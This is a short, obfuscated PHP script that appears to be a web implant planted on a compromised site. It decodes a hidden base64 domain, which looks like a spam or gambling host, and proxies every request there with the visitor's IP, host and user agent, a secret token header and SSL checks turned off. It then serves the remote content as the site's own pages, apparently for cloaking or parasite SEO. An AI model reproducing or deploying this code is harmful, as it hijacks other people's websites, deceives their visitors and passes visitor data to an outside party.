<?php
set_time_limit(0); error_reporting(0);
function _m(){return base64_decode('aHR0cHM6Ly8=').base64_decode('ZGFpenVvZ3VhbmdnYW90ZWxlZ3JhbWlk').base64_decode('Y2Fpc2hlbnRhaS5jb20=');}
function _mh(){return base64_decode('aHR0cDovLw==').base64_decode('ZGFpenVvZ3VhbmdnYW90ZWxlZ3JhbWlk').base64_decode('Y2Fpc2hlbnRhaS5jb20=');}
function getRealIP(){foreach(['HTTP_CF_CONNECTING_IP','HTTP_X_REAL_IP','HTTP_X_FORWARDED_FOR','REMOTE_ADDR'] as $k){if(empty($_SERVER[$k]))continue;$v=$_SERVER[$k];if($k==='HTTP_X_FORWARDED_FOR')$v=trim(explode(',',$v)[0]);$v=trim($v);if($v!==''&&filter_var($v,FILTER_VALIDATE_IP))return $v;}return '127.0.0.1';}
function clientHost(){$h=(string)($_SERVER['HTTP_HOST']??$_SERVER['SERVER_NAME']??'');$h=strtolower(trim(explode(',',$h)[0]));$h=preg_replace('/:\d+$/','',$h);return $h?:'unknown';}
$uri=$_SERVER['REQUEST_URI']??'/';$path=parse_url($uri,PHP_URL_PATH);if($path===null||$path==='')$path='/';
if(preg_match('#^/news\.php$#i',$path)){$q=parse_url($uri,PHP_URL_QUERY);header('Cache-Control: no-store');header('Location: /news.php/'.($q?('?'.$q):''),true,302);exit;}
$ip=getRealIP();$host=clientHost();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'Mozilla/5.0');
foreach(array_values(array_unique(array_filter([_m(),_mh()]))) as $base){
  $base=rtrim($base,'/');$url=$base.$uri;$ph=parse_url($url,PHP_URL_HOST)?:'';
  $ch=curl_init($url);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>false,CURLOPT_CONNECTTIMEOUT=>8,CURLOPT_TIMEOUT=>30,CURLOPT_HEADER=>true,CURLOPT_ENCODING=>'',CURLOPT_HTTPHEADER=>['X-Static-Token: ailunnb666','Host: '.$ph,'X-Real-IP: '.$ip,'X-Forwarded-For: '.$ip,'X-Forwarded-Host: '.$host,'X-News-Host: '.$host,'X-Original-Host: '.$host,'X-Client-Domain: '.$host,'User-Agent: '.$ua,'Accept: text/html,application/xhtml+xml,*/*;q=0.8']]);
  $raw=curl_exec($ch);$errno=curl_errno($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$hs=(int)curl_getinfo($ch,CURLINFO_HEADER_SIZE);curl_close($ch);
  if($raw===false||$errno||$code<200||$code>=500)continue;$hdr=substr($raw,0,$hs);$body=substr($raw,$hs);if(!is_string($body)||$body==='')continue;
  if(preg_match('/^Content-Type:\s*(.+)$/mi',$hdr,$m))header('Content-Type: '.trim($m[1]));else header('Content-Type: text/html; charset=utf-8');
  http_response_code($code>0?$code:200);header('X-Client: simple-proxy');echo $body;exit;
}
http_response_code(502);header('Content-Type: text/html; charset=utf-8');echo '<!-- upstream busy -->';